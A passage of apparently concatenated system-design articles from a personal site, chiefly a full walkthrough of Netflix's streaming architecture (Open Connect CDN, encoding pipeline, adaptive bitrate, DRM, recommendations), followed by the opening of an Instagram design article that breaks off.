- [Inside Facebook's Video Delivery System](https://engineering.fb.com/2024/12/10/video-engineering/inside-facebooks-video-delivery-system/) - Meta's video infrastructure

---

## Design Netflix Video Streaming

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-netflix-streaming
**Category:** System Design / System Design Problems
**Description:** Netflix serves 300+ million subscribers across 190+ countries, delivering 94 billion hours of content in H2 2024 alone. Unlike user-generated video platforms (YouTube), Netflix is a consumption-first architecture—the challenge is not upload volume but delivering pre-encoded content with sub-second playback start times while optimizing for quality-per-bit across wildly different devices and network conditions. This design covers the Open Connect CDN, per-title/shot-based encoding pipeline, adaptive bitrate delivery, and the personalization systems that drive 80% of viewing hours.

# Design Netflix Video Streaming

Netflix serves 300+ million subscribers across 190+ countries, delivering 94 billion hours of content in H2 2024 alone. Unlike user-generated video platforms (YouTube), Netflix is a consumption-first architecture—the challenge is not upload volume but delivering pre-encoded content with sub-second playback start times while optimizing for quality-per-bit across wildly different devices and network conditions. This design covers the Open Connect CDN, per-title/shot-based encoding pipeline, adaptive bitrate delivery, and the personalization systems that drive 80% of viewing hours.

<figure>

![High-level architecture: content preparation → proactive distribution to Open Connect edge → client playback with personalized steering.](./high-level-architecture-content-preparation-proactive-distribution-to-open-conne.svg)

<figcaption>High-level architecture: content preparation → proactive distribution to Open Connect edge → client playback with personalized steering.</figcaption>
</figure>

## Abstract

Netflix's streaming architecture is shaped by three fundamental constraints:

1. **Pre-known catalog enables proactive caching**: Unlike YouTube's real-time uploads, Netflix's finite catalog (~7,500 titles in US) allows overnight proactive distribution to edge servers. This achieves 98%+ cache hit rates without origin egress during playback.

2. **Quality perception varies by content**: A documentary with static shots compresses efficiently at 2 Mbps; an action sequence needs 8+ Mbps for equivalent perceptual quality. Per-title and shot-based encoding optimizes each scene independently.

3. **Device fragmentation demands multi-codec strategy**: Smart TVs from 2015 support only H.264; modern browsers support AV1. Netflix encodes each title in multiple codecs (H.264, HEVC, VP9, AV1) to maximize quality-per-bit on each device class.

The core mechanisms:

- **Open Connect CDN** embeds Netflix appliances directly in ISP networks, serving 100% of video traffic from 1,000+ locations
- **Per-title encoding** analyzes content complexity and generates custom bitrate ladders, achieving 20% average bandwidth savings
- **Shot-based (Dynamic Optimizer) encoding** allocates bits per-scene, achieving 50% bitrate reduction for equivalent quality
- **VMAF-driven quality control** ensures perceptual quality targets (93+) rather than arbitrary bitrate thresholds
- **Proactive fill pipeline** pre-positions content during off-peak hours based on predicted popularity

## Requirements

### Functional Requirements

| Requirement                  | Priority | Notes                                         |
| ---------------------------- | -------- | --------------------------------------------- |
| Video playback               | Core     | Adaptive streaming, multiple quality levels   |
| Multi-device support         | Core     | TVs, mobile, tablets, browsers, game consoles |
| Personalized recommendations | Core     | 80% of viewing driven by recommendations      |
| Continue watching            | Core     | Cross-device position sync                    |
| Multiple profiles            | Core     | Per-user personalization                      |
| Offline downloads            | Core     | Mobile viewing without connectivity           |
| Search and browse            | Core     | Full catalog discovery                        |
| Subtitles and audio tracks   | Core     | Multiple languages per title                  |
| DRM protection               | Core     | Content security across all platforms         |
| Parental controls            | Extended | Content filtering by rating                   |
| Live streaming               | Extended | Events (recently added)                       |

### Non-Functional Requirements

| Requirement            | Target                  | Rationale                              |
| ---------------------- | ----------------------- | -------------------------------------- |
| Playback availability  | 99.99%                  | Revenue-critical, subscriber retention |
| Playback start latency | p99 < 2s                | Industry benchmark, user experience    |
| Rebuffering ratio      | < 0.1% of playback time | Netflix target, premium experience     |
| Video quality          | VMAF > 93               | Perceptual quality standard            |
| Catalog availability   | 99.999%                 | Entire catalog playable                |
| CDN cache hit rate     | > 95%                   | Origin cost and latency                |
| Concurrent streams     | Support 20M+            | Peak evening traffic                   |

### Scale Estimation

**Netflix-scale baseline (Q4 2024):**

```
Subscribers: 301.63 million (global)
DAU estimate: ~150M (50% daily engagement)
Concurrent peak estimate: 20M+ streams

Viewing traffic:
- H2 2024: 94 billion hours watched
- Daily average: ~500M hours/day
- Peak concurrent: 20M streams × 8 Mbps average = 160 Tbps
- With 98% edge hit rate: 3.2 Tbps from origin (worst case)

Content library:
- US catalog: ~7,500 titles (3,800 movies, 1,800 TV shows)
- ~59% Netflix Originals
- Storage per title: 10-50 encoded variants × 2-8 GB each
- Total encoded storage: ~5-10 PB estimated

Open Connect scale:
- 1,000+ deployment locations
- 4,669+ servers mapped by researchers
- Single OCA: up to 400 Gbps serving capacity
```

**Live streaming record (November 2024):**

```
Tyson vs Paul fight: 65 million concurrent viewers
Demonstrates burst capacity handling for events
```

## Design Paths

### Path A: Third-Party CDN (Traditional)

**Best when:**

- Smaller catalog (< 1,000 titles)
- Limited geographic scope
- Variable/unpredictable traffic patterns
- Cost-sensitive at small scale

**Architecture:**

- Use commercial CDN (Akamai, CloudFront, Fastly)
- Origin servers in cloud provider
- CDN handles caching, routing, TLS termination

**Trade-offs:**

- ✅ No infrastructure investment
- ✅ Pay-per-GB pricing aligns with usage
- ✅ Instant global reach
- ❌ Per-GB costs prohibitive at scale (Netflix would pay billions)
- ❌ No ISP-level embedding (additional network hops)
- ❌ Less control over quality-of-experience
- ❌ Generic caching strategies, not content-aware

**Real-world example:** Most OTT services (Hulu, Peacock, Paramount+) rely on commercial CDNs. Acceptable when scale doesn't justify custom infrastructure.

### Path B: Custom CDN with ISP Embedding (Netflix Model)

**Best when:**

- Massive scale (100M+ subscribers)
- Predictable catalog enables proactive caching
- Quality differentiation is competitive advantage
- Long-term investment justifies infrastructure

**Architecture:**

- Custom appliances (OCAs) deployed in ISP facilities
- Proactive overnight content distribution
- No per-GB transit costs after hardware investment
- Direct peering eliminates intermediate hops

**Trade-offs:**

- ✅ 98%+ cache hit rates with proactive fill
- ✅ Sub-millisecond latency to end users
- ✅ Amortized cost far below commercial CDN at scale
- ✅ Complete control over caching and routing
- ❌ Massive upfront hardware investment
- ❌ ISP relationship management complexity
- ❌ Operational burden (hardware, software, support)
- ❌ Long deployment lead times for new regions

**Real-world example:** Netflix Open Connect handles 100% of Netflix traffic. Google has similar infrastructure (Google Global Cache) for YouTube.

### Path Comparison

| Factor         | Third-Party CDN    | Custom CDN (Open Connect) |
| -------------- | ------------------ | ------------------------- |
| Setup time     | Hours              | Months                    |
| Upfront cost   | None               | $100M+ in hardware        |
| Per-GB cost    | $0.02-0.10         | Near-zero (amortized)     |
| ISP latency    | +10-50ms (peering) | +1-5ms (embedded)         |
| Cache hit rate | 85-95%             | 98%+                      |
| Control        | Limited            | Complete                  |
| Best for       | < 50M subscribers  | > 100M subscribers        |

### This Article's Focus

This article focuses on **Path B (Custom CDN)** because:

1. Netflix scale justifies the infrastructure investment
2. The proactive fill model is unique to predictable catalogs
3. ISP embedding provides measurable quality differentiation
4. The architecture demonstrates principles applicable to any large-scale streaming service

## High-Level Design

### Component Overview

<figure>

![System architecture: AWS hosts control plane and personalization; Open Connect handles all video delivery.](./system-architecture-aws-hosts-control-plane-and-personalization-open-connect-han.svg)

<figcaption>System architecture: AWS hosts control plane and personalization; Open Connect handles all video delivery.</figcaption>
</figure>

### Traffic Split: AWS vs Open Connect

Netflix pioneered a clean separation:

| Traffic Type        | Infrastructure      | Rationale                              |
| ------------------- | ------------------- | -------------------------------------- |
| Video streaming     | Open Connect (100%) | Bandwidth-intensive, latency-sensitive |
| API requests        | AWS                 | Compute-intensive, scalable            |
| Personalization     | AWS                 | ML workloads, data-intensive           |
| License acquisition | AWS                 | Security-sensitive, transactional      |

This separation allows each infrastructure to optimize for its workload. AWS handles millions of API requests; Open Connect handles hundreds of terabits of video.

### Playback Flow

1. **Client requests playback** → API Gateway authenticates, routes to Playback Service
2. **Playback Service generates manifest** → Lists available streams (codecs, resolutions, bitrates)
3. **Steering Service selects OCAs** → Returns ranked list based on proximity, load, health
4. **Client acquires license** → DRM key exchange with License Service
5. **Client fetches segments from OCA** → ABR algorithm selects quality
6. **Playback begins** → Continuous quality adaptation based on buffer and throughput

### Control Plane vs Data Plane

**Control plane (AWS):**

- Authentication and authorization
- Manifest generation
- DRM license issuance
- Personalization and recommendations
- A/B testing
- Billing and account management

**Data plane (Open Connect):**

- Video segment delivery
- Cache management
- BGP routing announcements
- Health reporting

## Open Connect CDN

### Architecture

<figure>

![Open Connect topology: ISP-embedded OCAs serve most traffic; IXP clusters handle cache misses; origin serves ~2% of requests.](./open-connect-topology-isp-embedded-ocas-serve-most-traffic-ixp-clusters-handle-c.svg)

<figcaption>Open Connect topology: ISP-embedded OCAs serve most traffic; IXP clusters handle cache misses; origin serves ~2% of requests.</figcaption>
</figure>

### OCA Appliance Specifications

Netflix offers multiple OCA configurations to ISP partners:

| Appliance Type     | Storage      | Throughput | Use Case                      |
| ------------------ | ------------ | ---------- | ----------------------------- |
| **Standard Flash** | 24 TB NVMe   | 190 Gbps   | High-traffic ISPs             |
| **Large Storage**  | 120 TB HDD   | 18 Gbps    | Broad catalog, lower traffic  |
| **Large Flash**    | 360 TB mixed | 96 Gbps    | Balanced performance/capacity |

**Performance milestones:**

- **2017**: 100 Gbps TLS streaming from single server (FreeBSD, NGINX)
- **2021**: 400 Gbps from single server with TLS offload to NIC

**2021 configuration achieving 400 Gbps:**

```
CPU: AMD EPYC 7502p (32 cores, Rome)
Memory: 256 GB DDR4-3200
Storage: 18 × 2TB Western Digital SN720 NVMe
Network: 2 × Mellanox ConnectX-6 Dx (PCIe 4.0 x16)
OS: FreeBSD
Web Server: NGINX
TLS: Offloaded to NIC (key enabler for 400 Gbps)
```

TLS offloading to the NIC was the critical optimization—without it, throughput capped at ~240 Gbps due to CPU-bound encryption.

### Deployment Models

**Embedded (Inside ISP Network):**

- OCA deployed in ISP data center
- Zero transit cost for ISP
- Lowest latency to subscribers (1-5ms)
- ISP provides power, space, connectivity

**Peering (Internet Exchange Point):**

- OCA deployed at IXP (e.g., Equinix, DE-CIX)
- Serves multiple ISPs via peering
- Higher latency than embedded (10-50ms)
- Used for ISPs without embedded partnership

### BGP Routing

OCAs announce routes via BGP to attract Netflix traffic:

```
Netflix ASN: 2906 (customer-facing)
Open Connect ASN: 40027 (OCA infrastructure)

Route announcement:
- OCA announces covering prefix (e.g., 45.57.0.0/17)
- ISP router prefers local OCA routes
- Traffic stays within ISP network
```

**Route selection criteria (in order):**

1. OCA availability and health
2. Route specificity (most specific prefix wins)
3. AS path length
4. MED (Multi-Exit Discriminator)
5. Geographic proximity

### Fill Pipeline

**Proactive caching philosophy:**

Netflix doesn't wait for cache misses. The Fill Pipeline predicts content demand and pre-positions files during off-peak hours.

**Fill process:**

1. **Popularity computation**: Daily prediction of what members will watch
2. **Replica calculation**: More popular content → more replicas across clusters
3. **Manifest generation**: Each OCA receives custom file list
4. **Off-peak transfer**: Nightly downloads during configurable windows
5. **Verification**: Checksum validation after transfer

**Optimization milestone:**

- Original: Title-level popularity rankings
- Improved: File-level popularity (specific resolution/codec combinations)
- Result: Same cache efficiency with **50% less storage**

This works because not all files for a title are equally popular. 4K HDR files are only needed for capable devices; most streams use 720p or 1080p.

### Cache Performance

| Metric              | Target | Achieved                   |
| ------------------- | ------ | -------------------------- |
| Edge cache hit rate | > 95%  | ~98%                       |
| Origin fetch rate   | < 5%   | ~2%                        |
| Fill accuracy       | > 90%  | High (exact not published) |

At Netflix scale, a 1% improvement in cache hit rate eliminates terabytes of daily origin egress.

## Video Encoding Pipeline

### The Cosmos Platform

Netflix rebuilt its encoding pipeline on Cosmos (completed September 2023), replacing the previous Reloaded system.

<figure>

![Cosmos encoding pipeline: analysis → encoding → quality control → packaging. Failed VMAF segments are re-encoded at higher bitrate.](./cosmos-encoding-pipeline-analysis-encoding-quality-control-packaging-failed-vmaf.svg)

<figcaption>Cosmos encoding pipeline: analysis → encoding → quality control → packaging. Failed VMAF segments are re-encoded at higher bitrate.</figcaption>
</figure>

**Platform components:**

| Component     | Purpose                     |
| ------------- | --------------------------- |
| **Optimus**   | API layer                   |
| **Plato**     | Workflow orchestration      |
| **Stratum**   | Serverless compute layer    |
| **Timestone** | High-scale priority queuing |

**Processing scale:**

A single Stranger Things episode requires processing **900 shots** through the pipeline.

### Per-Title Encoding

Introduced in 2015, per-title encoding customizes bitrate ladders based on content complexity.

**Why fixed ladders fail:**

```
Fixed ladder (traditional):
720p: 3 Mbps
1080p: 5 Mbps
4K: 16 Mbps

Reality:
- Documentary (low motion): VMAF 93 at 720p/1.5 Mbps
- Action movie (high motion): VMAF 93 at 720p/4 Mbps

Result: Fixed ladder wastes 2.5 Mbps on documentaries, under-serves action movies
```

**Per-title methodology:**

1. Encode source to hundreds of resolution/bitrate combinations
2. Compute VMAF score for each combination
3. Plot quality vs. bitrate curve (convex hull analysis)
4. Select optimal points on the curve as the custom ladder

**Results:**

- Average: **20% bandwidth savings** without quality loss
- Some titles: **50%+ reduction** (low-complexity content)

### Shot-Based Encoding (Dynamic Optimizer)

Per-title improved on fixed ladders, but applied uniform bitrate across an entire title. Shot-based encoding optimizes each scene independently.

**How it works:**

1. **Shot detection**: Identify scene boundaries (cuts, fades, motion discontinuities)
2. **Complexity analysis**: Compute per-shot complexity (motion, texture, film grain)
3. **Bitrate allocation**: Allocate more bits to complex shots, fewer to simple ones
4. **Encoding**: IDR frames aligned with shot boundaries
5. **Assembly**: Concatenate variable-bitrate shots

**Results:**

| Improvement                | Metric                          |
| -------------------------- | ------------------------------- |
| Bitrate reduction          | **30%** vs fixed-QP encoding    |
| Quality-equivalent bitrate | **50% lower** for same VMAF     |
| 4K achievement             | **8 Mbps** (previously 16 Mbps) |
| HDR storage                | **58%** of fixed ladder storage |

**Example scene:**

```
Scene 1: Dialogue in dim room (low complexity)
  - Fixed: 5 Mbps, VMAF 96
  - Dynamic: 2 Mbps, VMAF 95
  - Savings: 3 Mbps, negligible quality loss

Scene 2: Car chase with explosions (high complexity)
  - Fixed: 5 Mbps, VMAF 82 (quality loss)
  - Dynamic: 9 Mbps, VMAF 93
  - Improvement: 11 VMAF points

Result: Same average bitrate, but quality is optimized per-scene
```

### Codec Strategy

| Codec            | Bandwidth vs H.264 | Device Support           | Encoding Cost | Netflix Usage        |
| ---------------- | ------------------ | ------------------------ | ------------- | -------------------- |
| **H.264 (AVC)**  | Baseline           | Universal                | 1x            | Legacy fallback      |
| **H.265 (HEVC)** | 50% better         | iOS, Safari, some TVs    | 2-4x          | Apple ecosystem      |
| **VP9**          | 50% better         | Chrome, Firefox, Android | 2-3x          | Web, Android         |
| **AV1**          | 30-50% vs VP9      | Modern browsers, new TVs | 5-10x         | **30% of streaming** |

**AV1 adoption (as of 2024):**

Netflix reported AV1 now powers ~30% of streaming traffic, becoming their primary format for capable devices. On TVs specifically, AV1 delivers **1/3 less bandwidth** than H.264/HEVC for equivalent quality.

**Encoding decision tree:**

```
if device.supports(AV1):
    serve AV1
elif device.supports(VP9):
    serve VP9
elif device.supports(HEVC) and device.is_apple:
    serve HEVC
else:
    serve H.264
```

### VMAF Quality Metric

Video Multimethod Assessment Fusion (VMAF) is Netflix's open-source perceptual quality metric, developed with USC, IPI/LS2N Nantes, and UT Austin LIVE lab.

**Components:**

- Visual Information Fidelity (VIF)
- Detail Loss Metric (DLM)
- Mean Co-Located Pixel Difference (MCPD)
- Fused via SVM regression

**Score interpretation:**

| VMAF Score | Quality Level              |
| ---------- | -------------------------- |
| 93+        | Excellent (Netflix target) |
| 85-93      | Good                       |
| 70-85      | Fair                       |
| < 70       | Poor (triggers re-encode)  |

**Why VMAF replaced PSNR:**

- PSNR measures pixel-level difference, not human perception
- Film grain scores poorly on PSNR but looks natural to viewers
- Blurring scores well on PSNR but looks bad to viewers
- VMAF correlates with Mean Opinion Score (MOS) from human evaluations

Netflix replaced PSNR with VMAF in **June 2016**.

## Adaptive Bitrate Streaming

### Streaming Protocols

| Protocol      | Usage                    | Notes                        |
| ------------- | ------------------------ | ---------------------------- |
| **MPEG-DASH** | Primary for most devices | ISO standard                 |
| **HLS**       | Safari, iOS, Apple TV    | Apple ecosystem              |
| **CMAF**      | Unified packaging        | Single source for HLS + DASH |

Netflix uses CMAF (Common Media Application Format) for packaging, which allows generating both HLS and DASH manifests from the same encoded segments.

### Manifest Generation

When a client requests playback, the Playback Service generates a device-specific manifest:

**Manifest contents:**

- Available bitrate ladder (device-appropriate)
- Codec options (filtered by device capability)
- Audio track options (languages, formats)
- Subtitle tracks
- DRM information (license server URL, key IDs)
- CDN URLs (OCA endpoints)

**Example HLS variant playlist (simplified):**

```m3u8
#EXTM3U
#EXT-X-VERSION:7

#EXT-X-STREAM-INF:BANDWIDTH=12000000,RESOLUTION=3840x2160,CODECS="av01.0.13M.08"
4k-av1/playlist.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=8000000,RESOLUTION=1920x1080,CODECS="av01.0.08M.08"
1080p-av1/playlist.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=3000000,RESOLUTION=1280x720,CODECS="av01.0.04M.08"
720p-av1/playlist.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=1000000,RESOLUTION=854x480,CODECS="av01.0.01M.08"
480p-av1/playlist.m3u8
```

### ABR Algorithm

Netflix's ABR algorithm balances multiple objectives:

**Input signals:**

- Buffer level (seconds of content buffered)
- Throughput history (recent segment download speeds)
- Device constraints (memory, CPU, battery)
- Network type (WiFi vs cellular)

**Algorithm approach (hybrid):**

```
Throughput estimation:
- Exponential weighted moving average of recent downloads
- Conservative safety margin (70% of estimated)

Buffer-based adjustment:
- Low buffer (< 10s): Prioritize stability, drop quality
- Target buffer (30s): Normal operation
- High buffer (> 45s): Allow quality increase

Quality selection:
safe_bitrate = throughput_estimate × 0.7
buffer_factor = buffer_level / target_buffer

if rebuffering_recent:
    selected = lowest_quality
elif buffer_factor < 0.5:
    selected = quality_below_safe_bitrate
else:
    selected = highest_quality_below_safe_bitrate
```

**Startup behavior:**

1. Start at conservative quality (720p or below)
2. Fetch first few segments quickly to build buffer
3. Ramp up quality as buffer exceeds 10 seconds
4. Reach target quality within 15-30 seconds

**Quality switch constraints:**

- Minimum dwell time between switches: 10 seconds (prevents oscillation)
- Maximum drop per switch: 2 quality levels
- Emergency drop: Any level if buffer < 5 seconds

### Rebuffering Prevention

Netflix targets < 0.1% rebuffering ratio (industry-leading).

**Mechanisms:**

| Mechanism              | How It Helps                  |
| ---------------------- | ----------------------------- |
| Proactive quality drop | Drop before buffer empties    |
| Segment prefetch       | Always fetch ahead            |
| OCA fallback           | Switch OCA if current is slow |
| Conservative startup   | Don't overcommit early        |

## DRM and License Management

### Multi-DRM Strategy

Netflix uses three DRM systems to cover all devices:

| DRM System    | Provider  | Devices                    |
| ------------- | --------- | -------------------------- |
| **Widevine**  | Google    | Android, Chrome, smart TVs |
| **PlayReady** | Microsoft | Windows, Xbox, Edge        |
| **FairPlay**  | Apple     | iOS, Safari, Apple TV      |

All three use CENC (Common Encryption) for the encrypted content, so Netflix encrypts once and decrypts with any compatible DRM.

### License Acquisition Flow

<figure>

![DRM flow: player requests encrypted content, CDM generates license request, license server validates and returns keys.](./drm-flow-player-requests-encrypted-content-cdm-generates-license-request-license.svg)

<figcaption>DRM flow: player requests encrypted content, CDM generates license request, license server validates and returns keys.</figcaption>
</figure>

**Security layers:**

- **Device attestation**: CDM proves it's a legitimate device
- **Entitlement check**: License server verifies subscription
- **Key rotation**: Periodic re-keying for live content
- **Output protection**: HDCP enforcement for HD/4K

### Offline Download

**Download architecture:**

1. Client requests download license (more permissive duration)
2. Segments downloaded and encrypted to device storage
3. Offline license has expiration (typically 7-30 days)
4. Playback requires periodic license renewal when online

**Challenges:**

- Storage estimation before download
- Codec/bitrate changes require re-download
- License expiration handling
- Device storage management

## Personalization System

### Recommendation Architecture

Netflix recommendations drive **75-80% of viewing hours**. The system is estimated to save over **$1 billion annually** by reducing subscriber churn.

<figure>

![Two-stage recommendation: retrieve candidates via embedding similarity, rank with Personalized Video Ranking (PVR) model.](./two-stage-recommendation-retrieve-candidates-via-embedding-similarity-rank-with-.svg)

<figcaption>Two-stage recommendation: retrieve candidates via embedding similarity, rank with Personalized Video Ranking (PVR) model.</figcaption>
</figure>

### Algorithm Types

| Algorithm                   | Purpose                            |
| --------------------------- | ---------------------------------- |
| **Collaborative filtering** | Similar users like similar content |
| **Content-based**           | Similar content features           |
| **Matrix factorization**    | Latent factor models               |
| **Deep learning (PVR)**     | Personalized ranking               |
| **Contextual bandits**      | Explore/exploit balance            |
| **Reinforcement learning**  | Long-term engagement               |

### Personalized Artwork

Netflix dynamically selects thumbnail artwork per user:

**How it works:**

- Each title has multiple artwork variants
- Contextual bandit model predicts which variant will maximize click-through
- If Netflix knows you like Uma Thurman, Pulp Fiction shows Uma's image
- If you like action, the same movie shows an action scene

**Technical implementation:**

- Pre-computed personalized artwork at render time
- Cached results for fast serving
- Labels components in artwork (actors, genres, moods)
- A/B testing validates selections

### A/B Testing Scale

Every product change goes through rigorous A/B testing:

- Users may be in multiple concurrent tests
- Tests run for weeks to measure long-term retention
- Causal inference prevents confounding
- Multi-objective optimization balances engagement vs. satisfaction

## Frontend Considerations

### Client Architecture

Netflix clients (TV, mobile, web) share common patterns:

**Core responsibilities:**

| Component           | Function                            |
| ------------------- | ----------------------------------- |
| **Manifest parser** | HLS/DASH parsing                    |
| **ABR controller**  | Quality selection                   |
| **Buffer manager**  | Segment prefetch                    |
| **DRM handler**     | License acquisition, key management |
| **Player core**     | Decode, render, audio sync          |
| **Telemetry**       | QoE metrics collection              |

### Playback Start Optimization

**Target: < 2 seconds to first frame**

| Phase           | Target  | Optimization                |
| --------------- | ------- | --------------------------- |
| DNS             | < 20ms  | Pre-resolved CDN domains    |
| TLS             | < 50ms  | TLS 1.3, 0-RTT resumption   |
| Manifest        | < 100ms | Edge-cached, pre-fetched    |
| License         | < 200ms | Parallel with first segment |
| First segment   | < 500ms | Small initial segments      |
| Decode + render | < 200ms | Hardware decode             |

**Techniques:**

- DNS prefetch for OCA domains
- TLS session resumption
- Manifest pre-fetch while browsing
- License acquisition in parallel with segment fetch
- Initial segment at lower quality for fast decode

### Offline Playback

Mobile apps support offline downloads with:

- **Storage estimation**: Show size before download
- **Partial downloads**: Resume interrupted downloads
- **Smart downloads**: Auto-download next episodes
- **License management**: Handle expiration gracefully
- **Quality selection**: User chooses download quality

**Mobile-optimized encoding:**

Netflix introduced AVCHi-Mobile and VP9-Mobile encodes specifically optimized for mobile screens and storage constraints.

## Infrastructure

### AWS Architecture

Netflix runs all non-video services on AWS:

| Service           | AWS Component            | Purpose                  |
| ----------------- | ------------------------ | ------------------------ |
| API Gateway       | Custom (Zuul) + ELB      | Request routing, auth    |
| Service Discovery | Eureka                   | Dynamic service registry |
| Load Balancing    | Ribbon (client-side)     | Client-side balancing    |
| Microservices     | EC2 + Titus (containers) | 1000+ services           |
| Cache             | EVCache (Memcached)      | Hot data caching         |
| Database          | Cassandra, MySQL         | Metadata, user data      |
| Analytics         | Kafka, Spark             | Event processing         |

**EVCache scale (distributed cache):**

```
Clusters: 200 Memcached clusters
Instances: 22,000 server instances
Operations: 400 million ops/second
Items: 2 trillion cached items
Storage: 14.3 petabytes total
```

### Resilience (Chaos Engineering)

Netflix pioneered chaos engineering to ensure resilience:

| Tool              | Function                                 |
| ----------------- | ---------------------------------------- |
| **Chaos Monkey**  | Randomly terminates production instances |
| **Chaos Gorilla** | Drops entire AWS Availability Zone       |
| **Chaos Kong**    | Drops entire AWS Region                  |
| **FIT**           | Targeted failure injection               |

**Philosophy:**

Systems should be resilient to failure by design. Random production failures ensure this resilience is real, not theoretical.

### Global Architecture

<figure>

![Netflix operates in 4 AWS regions for control plane; Open Connect provides global video delivery.](./netflix-operates-in-4-aws-regions-for-control-plane-open-connect-provides-global.svg)

<figcaption>Netflix operates in 4 AWS regions for control plane; Open Connect provides global video delivery.</figcaption>
</figure>

## Conclusion

Designing Netflix-scale streaming requires different optimizations than user-generated video platforms:

**Key architectural decisions:**

1. **Custom CDN (Open Connect)** eliminates transit costs and reduces latency by embedding in ISP networks
2. **Proactive fill pipeline** achieves 98%+ cache hit rates by predicting demand and pre-positioning content
3. **Per-title and shot-based encoding** saves 30-50% bandwidth by optimizing each scene independently
4. **Multi-codec strategy** (H.264 → VP9 → AV1) maximizes quality-per-bit for each device class
5. **VMAF-driven quality control** ensures perceptual quality targets rather than arbitrary bitrate thresholds
6. **Personalization at scale** drives 80% of viewing, justifying massive recommendation infrastructure investment

**What this design optimizes for:**

- Sub-2-second playback start
- Industry-leading rebuffering ratio (< 0.1%)
- Bandwidth efficiency (best quality per bit)
- Global scale (300M+ subscribers, 190+ countries)

**What this design sacrifices:**

- Upfront infrastructure investment ($100M+ in Open Connect)
- Operational complexity (ISP relationships, custom hardware)
- Encoding compute costs (per-title/shot analysis is expensive)

**When to choose this design:**

- Premium streaming services where quality is a differentiator
- Scale justifies custom infrastructure investment (> 100M subscribers)
- Predictable catalog enables proactive caching (not user-generated)

## Appendix

### Prerequisites

- CDN architecture: edge caching, origin shield concepts
- Video encoding: codecs, containers, bitrates, transcoding
- Streaming protocols: HLS, DASH fundamentals
- DRM: encryption, license servers, CDM integration
- Distributed systems: microservices, caching, eventual consistency

### Terminology

| Term                    | Definition                                                               |
| ----------------------- | ------------------------------------------------------------------------ |
| **ABR**                 | Adaptive Bitrate—dynamically selecting video quality based on conditions |
| **AV1**                 | AOMedia Video 1—open, royalty-free video codec                           |
| **CDM**                 | Content Decryption Module—browser component handling DRM                 |
| **CMAF**                | Common Media Application Format—unified packaging for HLS/DASH           |
| **DASH**                | Dynamic Adaptive Streaming over HTTP—ISO streaming standard              |
| **HEVC**                | High Efficiency Video Coding (H.265)—successor to H.264                  |
| **HLS**                 | HTTP Live Streaming—Apple's adaptive streaming protocol                  |
| **OCA**                 | Open Connect Appliance—Netflix's edge cache server                       |
| **Per-title encoding**  | Custom bitrate ladder based on content complexity                        |
| **Shot-based encoding** | Variable bitrate allocation per scene                                    |
| **VMAF**                | Video Multimethod Assessment Fusion—perceptual quality metric            |
| **VP9**                 | Google's video codec, predecessor to AV1                                 |

### Summary

- Netflix separates control plane (AWS) from data plane (Open Connect) for optimal scaling
- Open Connect embeds cache servers in 1,000+ ISP locations, serving 100% of video traffic
- Per-title encoding analyzes content complexity to generate custom bitrate ladders (20% savings)
- Shot-based encoding allocates bits per-scene for 30-50% additional efficiency
- AV1 codec now powers 30% of streaming, delivering 50%+ bandwidth savings over H.264
- Proactive fill pipeline pre-positions content overnight, achieving 98%+ cache hit rates
- Personalization (recommendations, artwork) drives 80% of viewing hours

### References

- [Netflix Open Connect](https://openconnect.netflix.com/en_gb/) - Official CDN documentation
- [Netflix Open Connect Appliances](https://openconnect.netflix.com/en/appliances/) - OCA specifications
- [Netflix Tech Blog - Per-Title Encode Optimization](https://netflixtechblog.com/per-title-encode-optimization-7e99442b62a2) - Per-title encoding methodology
- [Netflix Tech Blog - Dynamic Optimizer](https://netflixtechblog.com/dynamic-optimizer-a-perceptual-video-encoding-optimization-framework-e19f1e3a277f) - Shot-based encoding
- [Netflix Tech Blog - Serving 100 Gbps](https://netflixtechblog.com/serving-100-gbps-from-an-open-connect-appliance-cdb51dda3b99) - OCA performance optimization
- [FreeBSD 400Gbps Presentation](https://papers.freebsd.org/2021/eurobsdcon/gallatin-netflix-freebsd-400gbps/) - 400 Gbps achievement details
- [Netflix Tech Blog - Rebuilding Video Processing Pipeline](https://netflixtechblog.com/rebuilding-netflix-video-processing-pipeline-with-microservices-4e5e6310e359) - Cosmos platform architecture
- [Netflix Tech Blog - The Netflix Cosmos Platform](https://netflixtechblog.com/the-netflix-cosmos-platform-35c14d9351ad) - Pipeline components
- [Netflix VMAF GitHub](https://github.com/Netflix/vmaf) - Quality metric source and documentation
- [Netflix Tech Blog - HDR Dynamic Optimization](https://netflixtechblog.com/all-of-netflixs-hdr-video-streaming-is-now-dynamically-optimized-e9e0cb15f2ba) - HDR encoding optimization
- [Netflix EVCache GitHub](https://github.com/Netflix/EVCache) - Distributed caching system
- [Netflix Research - Recommendations](https://research.netflix.com/research-area/recommendations) - Recommendation system overview
- [HLS Specification (RFC 8216)](https://www.rfc-editor.org/rfc/rfc8216) - HTTP Live Streaming standard
- [DASH Specification (ISO/IEC 23009-1)](https://www.iso.org/standard/79329.html) - MPEG-DASH standard

---

## Design Instagram: Photo Sharing at Scale

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-instagram-photo-sharing
**Category:** System Design / System Design Problems
**Description:** A photo-sharing social platform at Instagram scale handles 1+ billion photos uploaded daily, serves feeds to 500M+ daily active users, and delivers sub-second playback for Stories. This design covers the image upload pipeline, feed generation with fan-out strategies, Stories architecture, and the recommendation systems that power Explore—focusing on the architectural decisions that enable Instagram to process 95M+ daily uploads while maintaining real-time feed delivery.

# Design Instagram: Photo Sharing at Scale

A photo-sharing social platform at Instagram scale handles 1+ billion photos uploaded daily, serves feeds to 500M+ daily active users, and delivers sub-second playback for Stories. This design covers the image upload pipeline, feed generation with fan-out strategies, Stories architecture, and the recommendation systems that power Explore—focusing on the architectural decisions that enable Instagram to process 95M+ daily uploads while maintaining real-time feed delivery.

<figure>

![High-level architecture: upload → process → store → deliver. Feed generation uses hybrid fan-out; Stories have separate TTL-aware caching. Discovery systems run 1000+ ML models for personalization.](./high-level-architecture-upload-process-store-deliver-feed-generation-uses-hybrid.svg)

<figcaption>High-level architecture: upload → process → store → deliver. Feed generation uses hybrid fan-out; Stories have separate TTL-aware caching. Discovery systems run 1000+ ML models for personalization.</figcaption>
</figure>

## Abstract

Instagram's architecture addresses three fundamental challenges:

1. **Write amplification vs. read latency**: A single post from a user with 10M followers could generate 10M timeline cache writes. The hybrid fan-out strategy (push for regular users, pull for celebrities) bounds write amplification while keeping read latency under 100ms.

